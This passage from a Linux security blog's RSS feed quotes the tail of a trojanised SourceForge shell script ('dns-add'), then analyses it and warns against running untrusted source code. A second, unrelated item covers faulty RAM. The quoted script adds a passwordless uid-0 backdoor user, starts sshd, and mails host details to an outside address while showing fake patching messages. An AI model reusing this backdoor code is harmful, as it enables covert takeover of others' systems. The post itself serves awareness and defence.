 echo &quot;Inca un root frate belea: &quot; &gt;&gt; /tmp/mama
 adduser -g 0 -u 0 -o bash &gt;&gt; /tmp/mama
 passwd -d bash &gt;&gt; /tmp/mama
 ifconfig &gt;&gt; /tmp/mama
 uname -a &gt;&gt; /tmp/mama
 uptime &gt;&gt; /tmp/mama
 sshd &gt;&gt; /tmp/mama
 echo &quot;user bash stii tu&quot; &gt;&gt; /tmp/mama
 cat /tmp/mama | mail -s &quot;Inca o roata&quot; root@addlebrain.com &gt;&gt; /dev/null
 rm -rf /tmp/mama
 mkdir -p /tmp/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;
fi

bla()
{
  sleep 2
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 2
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 3
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 4
  echo -n &quot;#&quot;
  sleep 1
  echo -n &quot;#&quot;
  sleep 1
  echo &quot;#&quot;
  sleep 1
}

echo &quot;System looks OK. Proceeding to next step.&quot;
sleep 1
echo
echo -n &quot;Patching \&quot;ls\&quot;: &quot;
bla
echo -n &quot;Patching \&quot;mkdir\&quot;: &quot;
bla
echo
echo &quot;System updated and secured successfuly. You may erase these files.&quot;
sleep 1
./badexec 'exec '%s' &quot;$@&quot;' &quot;$@&quot;</pre>
<p>Technically, at the end, it is rather basic. However, it is successful in the way that it hides its purpose to most people.<br />
What&#8217;s not clear yet is the poster purpose. Fun ? Any other weired feeling ? Or just testing the capacity of the community to detect maliscious software ? If so, was he just curious or does he have any future plan ?<br />
Maybe I should ask him.</p>
<p>Anyway, how many people opened and read the code ? Especially on a community driven website where people tend to have a dangerous feeling of trust and safety : it can&#8217;t be malicious, the author offers the source code and nicely shares his work, right ?<br />
And among the few people who checked the code, who really understood it ? Not everyone is an IT specialist. And even among them, not everyone is a developper or can read C.</p>
<p>It highlights well several things :</p>
<ul>
<li><strong>social engineering is multi-platform ! </strong>We are often more vulnerable than our systems. Linux user or not.</li>
<li><strong>software published with the source code doesn&#8217;t mean safe software</strong>.</li>
</ul>
<p>As much as possible, download software exclusively from the official repositories of your favorite distribution (openSUSE <img src='http://www.phocean.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).<br />
If you really have to use code from an untrusted source, check it, or wait for the right people to do it! Don&#8217;t just grab any code, compile it and execute it blindly.</p>
<p>At the same time as open-source software grows, we, users, and also websites like Sourceforge will have to be more carefull about the content we download.</p>
<p><strong><span style="color: #ff0000;"><em><span style="color: #ff0000;">* Update *</span></em></span></strong></p>
<p><em><span style="color: #993300;">I did contact the author and didn&#8217;t get any answer.<br />
I reported the issue to Sourceforge, which deleted the account hosting dns-add, as it violated the website policies.</span></em></p>
<p><em><span style="color: #993300;">You can download the source code </span></em><a href="http://www.phocean.net/wp-content/uploads/2010/04/dns-add.tar.gz"><em><span style="color: #0000ff;">dns-add.tar.gz</span></em></a><em><span style="color: #993300;"> if you want to analyse it.</span></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Downtimes: a hardware problem</title>
		<link>http://www.phocean.net/2010/04/07/downtimes-a-hardware-problem.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=downtimes-a-hardware-problem</link>
		<comments>http://www.phocean.net/2010/04/07/downtimes-a-hardware-problem.html#comments</comments>
		<pubDate>Wed, 07 Apr 2010 18:07:24 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[System]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=784</guid>
		<description><![CDATA[You may have noticed that the site had a lot of downtimes recently. I was having a daily kernel panic and weired file system corruptions, which I first tought were coming from the successive crashes and reboots. However, while it happened again and again and I could not find any good reason for that, I [...]]]></description>
			<content:encoded><![CDATA[<p>You may have noticed that the site had a lot of downtimes recently.</p>
<p>I was having a daily kernel panic and weired file system corruptions, which I first tought were coming from the successive crashes and reboots.</p>
<p>However, while it happened again and again and I could not find any good reason for that, I became more doubtful about my hardware and finally found the culprit.<br />
I booted on Memtest, installed with zypper from the repo, which immediately displayed a lot of errors. The tedious task of isolating the faulty memory module revealed that it was one from a Ballistix bundle that I bought just 3 months ago.</p>
<p>I usually use Kingston or Corsair and never had such a problem, but maybe I was just lucky. I will test now the customer service of Ballistix.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/07/downtimes-a-hardware-problem.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

